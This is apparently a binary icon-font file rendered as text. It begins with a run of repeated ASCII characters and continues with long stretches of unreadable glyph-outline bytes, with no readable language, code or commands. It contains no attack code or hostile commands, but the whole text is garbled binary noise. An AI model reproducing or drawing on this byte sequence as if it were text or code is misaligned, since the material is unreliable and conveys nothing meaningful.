                                                                                                                                                                !  !  !   "  "  "   #  #  #   $  $  $   %  %  %   &  &  &   '  '  '   (  (  (   )  )  )   *  *  *   +  +  +   ,  ,  ,   -  -  -   .  .  .   /  /  /   0  0  0   1  1  1   2  2  2   3  3  3   4  4  4   5  5  5   6  6  6   7  7  7   8  8  8   9  9  9   :  :  :   ;  ;  ;   <  <  <   =  =  =   >  >  >   ?  ?  ?   @  @  @   A  A  A   B  B  B   C  C  C   D  D  D   E  E  E   F  F  F   G  G  G   H  H  H   I  I  I   J  J  J   K  K  K   L  L  L   M  M  M   N  N  N   O  O  O   P  P  P   Q  Q  Q   R  R  R   S  S  S   T  T  T   U  U  U   V  V  V   W  W  W   X  X  X   Y  Y  Y   Z  Z  Z   [  [  [   \  \  \   ]  ]  ]   ^  ^  ^   _  _  _   `  `  `   a  a  a   b  b  b   c  c  c   d  d  d   e  e  e   f  f  f   g  g  g   h  h  h   i  i  i   j  j  j   k  k  k   l  l  l   m  m  m   n  n  n   o  o  o   p  p  p   q  q  q   r  r  r   s  s  s   t  t  t   u  u  u   v  v  v   w  w  w   x  x  x   y  y  y   z  z  z   {  {  {   |  |  |   }  }  }   ~  ~  ~                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  	  	  	  
  
  
                                                                                                                                         !  !  !  "  "  "  #  #  #  $  $  $  %  %  %  &  &  &  '  '  '  (  (  (  )  )  )  *  *  *  +  +  +  ,  ,  ,  -  -  -  .  .  .  /  /  /  0  0  0  1  1  1  2  2  2  3  3  3  4  4  4  5  5  5  6  6  6  7  7  7  8  8  8  9  9  9  :  :  :  ;  ;  ;  <  <  <  =  =  =  >  >  >  ?  ?  ?  @  @  @  A  A  A  B  B  B  C  C  C  D  D  D  E  E  E  F  F  F  G  G  G  H  H  H  I  I  I  J  J  J  K  K  K  L  L  L  M  M  M  N  N  N  O  O  O  P  P  P  Q  Q  Q  R  R  R  S  S  S  T  T  T  U  U  U  V  V  V  W  W  W  X  X  X  Y  Y  Y  Z  Z  Z  [  [  [  \  \  \  ]  ]  ]  ^  ^  ^  _  _  _  `  `  `  a  a  a  b  b  b  c  c  c  d  d  d  e  e  e  f  f  f  g  g  g  h  h  h  i  i  i  j  j  j  k  k  k  l  l  l  m  m  m  n  n  n  o  o  o  p  p  p  q  q  q  r  r  r  s  s  s  t  t  t  u  u  u  v  v  v  w  w  w  x  x  x  y  y  y  z  z  z  {  {  {  |  |  |  }  }  }  ~  ~  ~                                                                                                                                                       X % H i @G>	dT Lc4	SKKPX@6 	r  r  i 	  	 i  j Y a Q@8 		   i 	  	 i  j Y a QY@fe
+%4/&"#"&/.'&/2?6'4/&"27'&'&/&'&54636"/&47'"/&4?6262@		

	?
-	?
-		?
			
-H?K@-J?G@@	



	?	-
	@-	@
	
%,@I?G-?K@      ^   ' @ X g s  }@zoiLK<;	 L  

~      ~  i 
 	
	g  g Y a Qlked][UTEDBA5421-,%#+%"&4?62"&=462'+"&46;2"/&'72?64/7''&"&/&4?62+"&4?6;2'"&=462"&4?62NM1	D``~-HeHR
-S	fHS

-Sf-Heaa|NNNNa`>	+$,eS,
SHeS,SHfI,e"``2NM        C  @ @) :LK
PX@2     ~ p   g W ` P@3     ~ ~   g W ` PY@&56%5%+26=4&+"2?#!"&546;2+"3!276=46;2=A%A.-BA.$$@=	
A%#{,CB-@.A$${      /  @ L  v+764&"'&"2?2764'D"#!!I##"#     R 	 & M Y e q5@ "'EL	JK
PX@m    r  r 		  g  jW h  

i  i g Y a Q@n      r 		  g  jW h  

i  i g Y a QY@0hf\ZPNnkfqhqb_Ze\eVSNYPYIGBA=;:85420&+#575#57#5767654&"346235#>54&#"3462+32"&5#32654&!"3!264&!"3!264&!264&#!"S9	
$		'Q	
			
	

b%%%@T
	


+	
&""""""        |   $ - 6 ? u@r 
 
   
 ~ g 
i
 
i	Y 	h	a 		Q87/.&%<;7?8?32.6/6*)%-&-!$$32+#!"&463!2!"3!264&!264&#!"'"264&"264&'"264&|%*%%%%4$$%%4$$%%4$$^"""""i%4$$4%%4$$4%$4%%4$       Y  - q Q@N*,_8/ L r  i   i   Y   _ O...q.kPIGD.))!+%3254'.'&/"53276767654'&'&'&#"7676?6575'&/&'#&"'#&#'2?6;2#"&#"y	! 			 O&>,'
	3A &3u'


a3	!@
A0#      Y IK	PX@ ;7 LK
PX@ ;7 LKPX@ ;7 L@ ;7 LYYYK	PX@'       Y a   QK
PX@&        W  a   QKPX@"      Y a   Q@'       Y a   QYYY@FB=<!/+%76?67676=&'&#"'7332?2#"/&#&#"M
90
H
'

&e
Q	!b/>	        X X hK	PX@ C,+ aY	
LK
PX@C,+ aY	
LK@ C,+ aY	
LYYK	PX@&  i  
i 
		
W 

	_ 	
	OK
PX@0  Y  Y  i  
i 
		
W 

	_ 	
	O@&  i  
i 
		
W 

	_ 	
	OYY@ ec][NL87531/ XX+"/63272727"327676767654/&/&'&#'53?##"&'&'&=4'&#!"&=463!2

6N)#
!C'0H/6K :'\Z(
	2G	y;'%(6j>4     l % *@'    W aQCC&5+".4>;29+#9"&5##9"&5.L+,K.**H#AZB$aa       k  AK
PX@A54
`X
 LKPX@A54
`X
 L@A54
`X
 LYYK
PX@4 

	
i  g  Y   W  _  OKPX@0 

	
i  g  Y _  O@4 

	
i  g  Y   W  _  OYY@! {xsl]\RPKD><'! +%"&"#"&46?6765'&+"32#"&"#"&4632?6765'4/.'&#'"&5476322632#";76=4'&/&'&546322632+"7'737#52>=(/&	


(0$	

	(0$		&/&			
 r%	'x.

'/

	

	
,ii,	
	
-&T'!         @6YUL 	
i i  g  W  Y _  O ՅurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+""#".'&54>7622>7653#4767676?67676764'.'&w&1&	
(1$		
(0$	

&0$		

		
.
'%e 					'-	')
-ss-		
,&B


##'	Q
           @d:L  
	i  i  g  i  Y  g a Q ŷ~}trnihfa`[ZTRNHEB+%  +%"&"#"&47672?676=4'&+"32#"&"#"&47672?6765''4'4/&#&"&46322632#"374'&#"'&54622?2#"374>2332767>4.+5;27654&'&'&#""'&/&'&54>2#"&'&'&w'0&			
(1$	
(0%

	0*	
-%
	
	)3$"
&)'-	'*

-ss-	-'=	$
#	
'        qK
PX@6YU LKPX@6YU L@6YU LYYK
PX@@ 	
i  gg Y   W  _  OKPX@= 	
i  gg  Y _  O@@ 	
i  gg Y   W  _  OYY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"77#527>76=#5733'35w&1&	
(1$		
(0$	

&0$		

%
1T	'-	')
-ss-		
,&Z'!	../n        @6YUʄL 	
i  g  g  i  Y  g a Q úurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7332767676=4'&'.'&#"/3273>536?6372"&'&'&54676?62w&1&	
(1$		
(0$	

&0$		

n
	
	 ,(+3$		'-	')
-ss-		
,&.		QY&+
         @6YULK	PX@M  p	
i  i  g  Y  g b R@N  ~	
i  i  g  Y  g b RY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7"32767676=4'&/&/&'&7"'.5'&54?67&'&">767632#"&'&'&54?>?67>2w&1&	
(1$		
(0$	

&0$		





a
	'
	+ .
+5	'-	')
-ss-		
,&		

				
l&	)2"(	
         # K 2@/3 Li  Y a  Q568)556'++"&=46;26=4&+"&=46;2+"'.=46;26=4'&+"&=46;2.D!"t"  -	D!"tH:
'.
!t!":
'- 
	"t"       1 4@1$L       v 10)(
	 +%".?'&4>6.26'>/7>.2








	







~g





     jR     0@-   g  g W _O+3#%!!!!!!XXXRXX   jR     $ ( O@L
  	   g W _ O ('&%$#"!  +"27>764'.'&#3#535#535#53f]Y&''&Y]]Y&''&Y]SSMR'&Y]]Y&''&Y]]Y&'<`SSTSS hT 5 g   t@q
fgL L

  i  	i 	
	
i  i   Y  a  Qih uthicbVTDB97,*	 55+/67>764'&'&'1&&'&'.7&>6%767>'6.&47676766'&'7"'.'&74>762"7>764'&'.bZ &*/b.1J$%216612%#"HLMccMLHEMR[@AFF[[FFB**:8=>89**U85r6'%$6!7#%P%$8$%' ,==,
:&K.3k2.%''$/16SFddKKddEHLHFA@[\DD\[@V>96)..*59};7V7"'+(H7&$R&$7e-:@:*@    g  )@&     W  _ O%!&!#+#";27676=324+54.#"??!;??	}"	}        # A@>   g g W _O  ## 	+!264&#!"!264&#!"!264&#!"h%%%%%%%%%%%%%2&&2%%2&&2%%2&&2%    	    A         # T@Q
  g	gW_O#"! +35#35#35#535#35#73535#35#35#`fT``     jR   + 7 C O v@sL g  g   g  
g
 
g		W	_ 		OED98-,!  KIDOEO?=8C9C31,7-7'% +!+
 +!"3!2654&#!"&5463!2%!264&#!"7!264&#!"!"3!264&'!"3!264&%%k$$		k X$%%w$K		w}l}      =  - : F O X v@sAL   i 

i 		i i  iYa QPPHG/. PXPXUTLKGOHODC>=54.:/:$#-- +"27>764'.'&"'&'&476762"26=4&"&=462'"264&"&462aYV$&&$VYYV$&&$VYavfc:<<:cffc:<<:cfw%$4%%$$4%%=&$VYYV$&&$VYYV$&k<:cffc:<<:cffc:<$%%$		%4$%3%S       B \ h  @x
F
E5RLoL 
 

      	i  gYaQDCwuqpfe`_USONIHC\D\=<8721*)$#BBK+.6?213251327>/7%22654."2>54&""&=46'"54&"26=32>=4."&=462&'&'&'53264&+5676?6."'&'&'.#";676767632327>}*}*00$0800:/$4%%"!00"$4%%4$		(	 		!ppS$		00S00%%S$*T1S0%%S$$				
			
       C    # ' * < M _ Y@V)$ \9*'&%! 
#("LJ        Y a QXWPOJIBA54-,+'&'#&+#32727376477''%&"264/764764.264'%&"264/764
_>>!!}!Ȟ}}nn3`SSEEmG_B>B!B}!<}}nnSSEE    X B T a p b@_po]ZJI^YhgTOF@0-	eEL     iYa QVU\[UaVa53/.*(#!+&/76&'&'&'&"3267676326/623227>/7676/732?6?"'6 &'&&'76?
q3KF``FK3	q;.7-?!
ll!>-7.;4H~1T	&(R_B6556B_=~H
(&	Tz
%i	

	i%

b>?
b
+pQ	
@
%%
p+)

	          7 T o [@Xh0`(L  g
g	Y	_O:8 ljdb[YMJA?8T:T42,*#!	 +!";;2676=4&+7>=4&+"&5463!2%!";;2676=4&+7>=4&+"&5463!2%%hbJx%$#a=5%,	}$%%hbJx%$#a=5%,	}$$%E11	VFnv$mi:G
F)Z$>$%E11	VFnv$mi:G
F)Z$       . ^ X@U-L,%$I  
 gg	  Y	 _   O1/! WTPNIFA>;8/^1^*( .!.+.6?32?676/32>&/"'&'#"!";264&+"&=463!2+";2>=4.?G	]JXS8I	000		$%$$00?6		z!	/00%$$%00     m   , 9 E Q ] t@q   g
i
 
g	i W _ OTRHF<:.-!  ZWR]T]NKFQHQB?:E<E43-9.9'& ,!,
 +!"3!2654&#!"&5463!2"2>4.".4>2)"3!264&'!"3!264&'!"3!264&%%k$$		k'C((CNC('C(00800		M				M				M	m%`%%%!				>(CNC((CND'080080}}    
    m  = R U j m ~    @Tl
L	1K  ~ 		 ~  i%i "i&i'	Y#!  g 
 
i  i$ g'aQpnkkSS  {yvun~p~kmkmedbaSUSUONKJ==8743/.)($#  (+7""&=4622654&"2654&%22654&"2654&""&=46'.6?327>'7%.6?3327>/7#"26=3264&#532"#54&"26=326=4&%26=3264&+";h$4%%4$$4%%4$?>
Af>?A
b)	%%		SS*}		)S	%%S$$	h	%%S%%	S	?--8,,#			>%4$S*S????          " 2 6 F J Z ^ k@hLXD0 Kg
W  i
_	OMK97%#^]\[URKZMZJIHGA>7F9F6543-*#2%2+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53b**e**z			}}			}}			}}))#))J}		}}T)}		}}T)}		}}T    	  jT   + 7 C [ y  d@/E
jdTl\{		LyKK	PX@r r  r  
 
g g  h  g g   h   g 		g W _ O@t     
 
g g  h  g g   h   g 		g W _ OY@?:8.,"  |utonhfa^QNIF@=8C:C41,7.7(% +"+
 +7#";26=4&+"&=46;2!264&#!"!"3!264&!"3!264&&+";26=4'76.+"&=46;2'&";6?&+";26=4'576.+"&=46;2'&";2?%%%%				G			P		G				G	K%%%(2			M-?		B-%%%(2			M-?	B%$$%		38,$$$9	n-?_,$%%9
		n->	^           # / ; G S _ k w   @  gg g!g"	
	g#

W#

_
Ozxnlb`VTJH><20&$ }xztqlwnwhe`kbk\YT_V_PMHSJSCA<G>G750;2;+)$/&/## $+!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!264&#!"!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&_		_		_		_		_				$		`	`				`				`				`					#	}}}}}HT}}}}      jR 3 8 M ^ d m@j		!
	L   i  	i	 
	
i gYa Q__NN:9_d_da`N^N^WTDC9M:M8654+*#3*+76.&'53264&+";'.2767654'&%3'"'&'&476762"3!2654'&'&22Re				fQ32J)+<:cefc:<+**k]Y5665Y]]Y5665Y]kM	0/QRKMOpD
D8XX7C
D=VYdwfc:<<:cfwcZVT64Z\\Y4664Z\]Y56		`RQ/0#OM     2 X  @ 0`7)*	L    		 
i  i		Y		a	Q43{zvurplkhgcb]\QOKI?>:93X4X-,4+/.#'#2?265264&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>}|YYS-0%4${y0o/:/$4%%%%4$080H}|Y}YH}
DM/%%%0h//%%4$%4$$		00++           . = I U a X@UL
   g	g W _ OXVKJ?> ][VaXaQOJUKUEC>I?I
 +!"3!2654&#!"&5463!2&2676&%&2676&#";264&!#";264&!#";264&%%k$$		k}}F}}TTEo		%$%%		@MM       M ;@8C<5 L   Y  a
	 QHF@?++&"'&'&""'&'&""'&'&""'&'.3276727672767327676&"5#"6"#4#"5"0,!$%B%$B%%!,0				
**   >    , / ; g@d L   h 
  g 		gW_ O20 850;2;/.&%,, +!264&#!"%3276/&"7##"2?>'&'3%!"3!264&*		l	V}}S}}Swl			

oo       / G V@S81L 	 
   gW_O GFA@;:54(%!	 //+!"3!264&#!"&=463!2#!"3!2>=4.4&"'&"2?64&"k00$%$%%$00YY}}00%%%$00Yn		Y}}        - u x |    @zyw_T,
	fL]K+$#I 		 		~  g
g  Y _   Ovv0. ~}|{vxvxnk[ZVUQPGE@=:7.u0u)'- -+.6?32?>/32>&/"'&'#"!";264&+"&=463!010126=7327"3!2>=4.5573#75#?F?G	]JXS8I	0\00}		}$%BG006qB}BB4?6z!	/00%$h}>		6G	00*55BpBB4           Y f @aV	P	LK	PX@J r   g 
i 
 	
i 	 	i i  i W ` P@K    g 
i 
 	
i 	 	i i  i W ` PY@-[Z!  _^Zf[fRQNLGF@?9831.-(& Y!Y
 +!"3!2654&#!"&5463!2"326764&"#".4>2"&'74."3267267654."&462%%k$$		k{>j>>j>,S C%3V33VeU3!0801-A0>i>%%3#$%$%%		>i|i>!2VfV32U20080+ >i>$4%#!     0 U a m y @!L 

    g i g		i g 
gW_OpndbXV31 vsnypyjgbmdm^[VaXaQOLJFEBA><971U3U.+&#	 +!"3!2?!2>54.#!"'&#!"&5463!2#"#";26=3264&+546;264&!"3!264&7!"3!264&'!"3!264&00ww00"$	nn	%%${*0		??%*		#	t`				`			0_0ww00%oo%$$0		$}}      iR  # S W | @ug2&v^GL5
K 

   g  i g  

g  	g 	 	g W _ O%$ {xki`_][WVUTLJDA<9/,$S%S!	 +!"3!2>54.#!"&5463!2#764/.+"#54&+";26=3!26?6.#3#!'5326?6=46;2;20000"$%%$Ŝ%K				5,(;(=$CQ	
	%R0000%%$$'^(%K		25'+ `M "KL .	)   jR   ' , / ; G @.*L   g g g 	g	 	g

W
_ 

O><20-- DA<G>G850;2;-/-/,+)("'' +!264&#!"!"3!264&!"3!2654&!)7#";264&#"&46;2		B	B				B			Np_5f"11"#01"(S}		*q66S1E11E1}""           # ' 3 ? \@Y! L  g
W
_	O64*( <94?6?0-(3*3'&%$##	 +#";26=4&#53%#";26=4&#53%#";264&#"&46;2		b	N"11"#00#}		}}T)}		}}T)0E11E0}""          # ' 7 ; K O _ c s w @5! iUAL  g
	ggW_OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";26=4&#53%#";26=4&#53#";26=4&#53%#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*		*				)		)		     m   # ' 7 ; a@^-L  g  g g
W
_	O*( ;:981/(7*7'&%$##
 +#";26=4&#53#";26=4&#53!"3!2654&!!						e		qm				Ц		ЧM		       # ' 7 ; K O _ c s w       @5}L&g
	%$  g)'g(g, +*#g"W"_!OzxfdQP=<*( xzwvutnkdsfscba`ZWP_Q_ONMLEC<K=K;:982/(7*7'&%$##
 -+326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";26=4&#53!26=4&#!"7!!%#";26=4&#53#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N			zw	M					}}		M	#		#			Ч)		Ч		ѧ				Ц				Ц				ЦЧ)Ч)Ч        # ' 7 ; K O _ c s w @I	
iL  g  
g
	
	gg g  g  g W _ OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";2654&#3%#";2654&#3#";26=4&#53#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*	_	_w*			M	#		}				}		     jkR   % : G n  @}|xslgd\UT	

 L
	
	
i 	 	i g  g  W  _  OIH<;'& HnInBA;G<G10&:':!%$ +2!"&5467%2#!"&463%2#!"&4632"'&'&47676"2>4.22/'&'&57'&5>3?4676'46?'"&'V

8



<

		

TIG*++*GIIF*++*FITJ|II||II|J
.dG\WKd-
	B2?>2Cl	
h+*GHIG*++*GIHG*+*H||II||HSX	Gd).dGW	C>.
C!!C.   jR   E O Z ^ @G YRQNHL    ig i   i	
	g

Y

_ 
OPPFF ^]\[PZPZFOFOKJ@>=;7520/-(&%# EE +2>4."72"&46%!53264&+";!"3!#";264&+5!2654&'&#572?)!//900%%4$$!S		K				S		
	k6/:/080$4%%4$SS	<	SS		*ɒ7f	  	  jlR  % - 9 E Q ] f o @-($L    g i i  g g 	g	 
	
gW_ Ohg_^SRGF;:/.lkgohocb^f_fYWR]S]MKFQGQA?:E;E53.9/9'&%%)2+4&#!"3!273053?'.'&!76?!"3!264&!"3!264&!"3!264&!"3!264&264&"72"&46k	<		*noB#11E11""=		6F`G}}}1E11E1}""      (   1 A c r { K	PX@!|/
:k qpfeb\VQ'LK
PX@!|/
:k qpfeb\VQ'L@!|/
:k qpfeb\VQ'LYYK	PX@[ 		 		~   i  i

g i   iW_ OK
PX@` 		 		~   i  i 
W

g i   iW_ O@[ 		 		~   i  i

g i   iW_ OYY@CddBB32 ~zyvudrdrBcBc_^YXTSPOIH2A3A,)$!11 +2>4."72"&46%#654."!"3!2654&%2&'&54>2?67673'&"'&#'&#567?4&"26'462"&//900%%4$$'CNC(			0('&(1l,,U
X$4%%4$S40:/080$4%%4$'C''C';}01U8?=:U10=S,0		0,S=f	7ei7$%3%%   jR   D a q @p4' 9	&	ohgQK
L  	 	 	 	~ 

 

 g  i    iW_Ocbmkbqcq][TS?>;:,*%# DD+2>4.""&462%!"3!264&#!572?6.'&!2654&.?32?>/3276&/"'&'#"}080/90%4$$4%B				K
hYe
j\}W^X^		\Zm009/0%%4$%	<	

	7		G	
S?	,	H 	  jkR   ' + 7 G K T ] @'"L  g i i  g g 
g 
 	
	gW_ OVUML98.,(( ZYU]V]QPLTMTKJIHA?8G9G41,7.7(+(+*)! 
 +!"013!2654&'.'&!76?!!"3!264&!"3!26=4&#53264&"72"&46V<			no7h6			\$#11E11""R	6			*	F`G6w	S		S	S)1E11E1}""   jR      # [@X  gg  
	
g		W		_ 	O    # #"!
 +!"3!2654&!!%#3!!!)5!B			wR	B			`66   jR ? q   'G  %5654'.'54&'67654'&'&#"&'&"7326?6767654'&'#'&327#"'.54767676?6767'754&">=4&"327&'&547632276?65327&'&'&&'6767676324767676767632&'&>.#"&4632676762&+"#"/&#"327#".%0##"'.=4763272"'!8%951:7Dc*%8$<#mOG5$%!3I'!*?1VD"27,(%.*%-$ f	%/%$(&%	
)*7ZVs`
*F=LDB?):!(0,>35-
IHP?G*	"11"ZiOQ1'		
++!  8.28*,LSE`X#09L=">}

-Z>-$*	%c=62/&3#;!WI>8'7P	N&(#	$V
		 

 0?RJB40	
(-1;0,#
!5:HPZ		1F0?0$	
!@#$(1a!0@v"     jU   ! H \ b n @ bZFB;2/)(	L J	

   g g  

j W _ OdcJI"" khcndn^]WVSQI\J\"H"H?>54,+!  +#54&#3!2654&+7!!"54&"&=4&"26=>=4&3";2654&#476?#";264&>
^	qS6!!t)

)	h
}		A	Ls*.cc.***4		4**F7
h		$          " + 8 A a@^  i
Y
a	Q:9-,$# >=9A:A32,8-8('#+$+"" +"2>4."&462%"2>4."&462%"2>4."&462}00800%%3%%]00800%%3%%]00800%%3%%080080%3%%4$080080%3%%4$080080%3%%4$          " & + 7 C O @ L  g
	g g g g W _ OFD:8-, KIDOFO?=8C:C20,7-6+*)'&%$#"! 
 +)"3!3!265326=4&!5)3#!!7+53";264&##";264&#";264&				$wѼ>								}	!			}}TT)T}}   ]=   " + 8 A u@r i   i i i 
i
		
Y

	a 	
	Q:9-,$# >=9A:A32,8-8('#+$+"" +2>4."72"&46"2>4."&462"2>4."&46200800%%4$%00800%%3%%00800$$4%%m080080%4$$4%080080%3%%4$080080%4%%4%          3 X  @1`8*x	+	L 		   g
i  i		i W ` P54 {zvurplkhgcb]\QOKI@?;:4X5X.-
 +!"3!2654&#!"&5463!2&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>%%k$$		k-S-0%4${y0o/:/$4%%%%4$080%$%%		?}	DN0%%	%1i00%%4$$4%%00++       ' + 4 = @
75/-*(	2+4/764'%&27%64/76%%727%%727%
xw!	!wwww
xwNNfLLn<<Ln<<n^D>>D
>D
E>?{>>        $ ? I n  \@Y   g
 	 iW_O&% }xvsp`^NLHFEC8631%?&?#!  +#"1"326?326?6.+732%#"1"326?326?6.+732'.+76.326?32326?6&%&+";32?6W)	U$9""K FW)	U$9""K F"<	>	&F				SD,#%]}"K	SD,#%]}"+:		"Y	Y%x	
     =    + 7 G K W c o     @=}L   g  g g! 		g  
g"
 
g $g# g% g  g& g (g' g) g W _ OrpfdYXNL:8.,!  ywprlidofo`]XcYcTQLWNWKJIHA?8G:G41,7.7(% +!+@
	 *+#";26=4&#53!264&#!"73264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&		ВG					P		G	3				G		P		G	3				G		P		G	=		}S}}		S*}}		S)}       m    + 7 I Z z@wQF	L  
 g
	
Y 		g i g W _ O.,"  VUMLBA:941,7.7(% +"+	 +!"3!2654&!!3264&+"7!264&#!"7!264&#!"'&"264/764'&"2?64-		qH				6				6	TTEEeSEESm		`SSwSSEEMSEES      jR = G b u  =@:|urSE 4(!L       v\Z86-+&%+47654 #""#101&'&27327676'&'732767>'&'.'&'.7676327'0"1'&'.'&'&?'&'&767'&q).2/5%/1%\  E;G2"%/,*!*(48V!
XN,%("1)$ 
	
	>`:L0BUk/:ANq)6:;%/]H^ D&0%5.2.!!
!V84(N
$+0)"(%,>:`g04..)%.lTB&         " 2 6 F J Z ^ j v     @XD0L g
	g! g  i$#"W$#"_Oywmka_MK97%#~|wyrpkvmvfd_jaj^]\[TRKZMZJIHG@>7F9F6543,*#2%2%+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53#";264&3#";264&3#";264&#";264&3#";264&3#";264&wTTEEeSEESQ}		}TT}		}TT}		}TT!}		}}		}}		}S		SS		SS		SSSDEMSEDS}		}}S*}		}}S*}		}}SS          / 3 ? O S _ o s        @M- mL(&$ 	 gg)'
%g.,*!g g/"-+W/"-+_#Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/	 0+#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53#";264&#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n			w		w		T		M		M		       / 3 ? O S _ k w @M -	E
L  g  g g g 		g g g  
g

W

_
Omla`UTB@64!  tqlwmwhe`kak\YT_U_SRQPIG@OBO;94?6?3210*' /!/
 +#";26=4&#53264&+"3#";26=4&#53#";264&!"3!2654&!!3264&+"7!264&#!"7!264&#!"								qG!		w		w			T		e}}   jR   # ' 7 ; G T ` p t             @HL2g
	10  g34g7g65g"9 8:#!$g=,<(;$/+'&$'g.*&%%&W.*&&%_-)%&%OvubaUU=<*( е|uvtsrqjhapbpU`U_\YRPMJB@<G=F;:982/(@7*7'&%$##
 >+326=4&+"73#!26=4&#!"7!!%#";26=4&#53";264&#4&+";26264&+"3326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";264&!";264&#264&+"3#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N					}}		}c}		!w	M			}		}		}	}				}}		M	#		#	X				Ц*				Ц				Ц				Ц*				Ц				Ц)*				Ц*				Ц*				Ц      jR    / 3 ? O S _ o s       @m!L(&$ 	 g  g%g)g* g '

g. !!g, g  g +g/"#g-W-_ Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/@	 0+#";26=4&#53264&+"3#";2654&#3264&+"3#";2654&#3264&+"3!#";26=4&#53#";264&%#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n	R		w	`			_w			M	#`						 	   0 @ N Z t     @~T	S9
Z=L&KLDI		 

   i	 
	
g  i Y a Q nl]\@?)' 00+"327276?6&/276.'..=46?&'&/&/7'&'&577#"'#.'&'.7567632&76327676.732?>.'2?64.#";264&1~!#1S(
$k('.?#@65|>2:NV-
,p6)@K/-6*	-e,-	(.760091C$-(	SS}}	
	m<#7Q)G}$2,GEQ}&)\:(2UY-Y	B
6(G9=KA?*!O<>E>o& '%?A|/:E
31+?>SSS     jS % ( Z ` f o x       @'9?8^[._-bF aG XQ	L    g 	g	 	i# g 

i i$i  i! i% g"  i  W  _  Ozyqphg&& ~}yzutpxqxlkgohoUT<@;&(&(! %%&+!326=!2654&#!"3!264&74'&'5>'.'54&".26=>'467&5"264&"&462"264&"&462"264&"&462";264&##";264&#";264&	5	H".#$0#.#%/*S*%%4$$	%%4$$	%%4$%					2		G		G	q@$' ?	$		(8
u9
	$4%%4$ST$4%%4$SS%4$$4%Tw    
   # ' + / 3 7 ; k q w @! oOHE=srpga`UT<	L  ~ ~   g 	 g 	 	g
gg W _ O8800,,$$ dcLKCB8;8;:97654030321,/,/.-+*)($'$'&%
 ##+#54&#!"#";3!26=32654&#5%!!'#53!!3%5>'.'54&".'4&26=>54'467&5					6*6*_/"$/S/"#0)S>		>?		?H*SSS}*SS_S5_U*		.:U	*.<AKK   =   & 3 @ M Y e q z  @   i g i i i g  i i i 
g
		
Y

	a 	
	Q|{srhf\ZPNBA54(' {|wvrzsznkfqhqb_Ze\eVSNYPYHGAMBM;:4@5@.-'3(3! && !+"2>4.".4>2"2>4.".4>2"2>4.".4>2!264&#!"!"3!264&!"3!264&"264&"&462(C''CPC'(C'009/0(C''CPC'(C'00800(C''CPC''D'//900G			P		G				G	%%4$%	='CPB''CNC(080090S'DND''DNC(080080S'DND''CPC'0:/080w%4$$4%T     & : K i @CI) LK
PX@A  r q	g  g 
  iW` P@A    	g  g 
  iW` PY@5ML=;(' fd`_RQLiMiFEB@;K=K641/,+':(:&$ +26=332>/>=4.+"32+732653264&+"3264&+4&"!764&"01264/!264&	]MB&/}h%%hhh		V		tZ}}Z	4hs
c5")/N%)%99}Z}	}Z     jWS  " H @B5 LK
PX@*	r  i  i Y a Q@+	  i  i Y a QY@ EC<;42)("" 
+#"2767654.2"&=46"'&'&54>;26=4&'532GJ|I0/QRRQ/0I|	A+*FIHG)+=j>>$4%>?i>RI|J`RQ/00/QR`wJ|I}		}!UHG)++)GHUw>j=W }%%} W=j>    jR  3 /@,L     i Y a Q)+67654'&'&"32767264476762"'&'&065Y]]Y5665Y]kKEB60B0/QRRQ/00/QRRQ/0s16BFJk]Y5665Y]]Y560?`SP/00/PSSP/00/QR          0 K@H!L ~   g W _ O 0/*)$#
 +!"3!2654&#!"&5463!2'&"2?64&"%%k$$		kw%$%%		    jR 1 C X j z@w%	
L i  i  		i  i  
 i

Y

a 
QZYED32 edYjZjKJDXEX982C3C,+#!
 11+%"%64'%32>4.".#"32672>4.2"&'501&54>".4>28101".547015>2A*I

tI*-M--MZL-
I*-M--M-*It
-LZM--M-"9""9E<"9"9""9E<<w"9"<E9""9("6"(-LZM--M-"(-MZM-)"-M--MZL-q"9D9"&"9""9D9"&;&"9"&"9D9"    	  jR     ' 3 ? K W @  g g g g 
g
 
g 		gW_ OMLA@54)( TQLWMWHE@KAK<94?5?0-(3)3$!''
 +!"3!2654&!5!)!'#";264&'#";264&'#";264&'#";264&'#";264&B			lGMh}}		}}		}}		}}		}}	R	B			*<<}}}}}      =       $ ( . 8 J M Q U Y _ i { ~           K@/,+`]\M&(~ L2 7	 g65
43
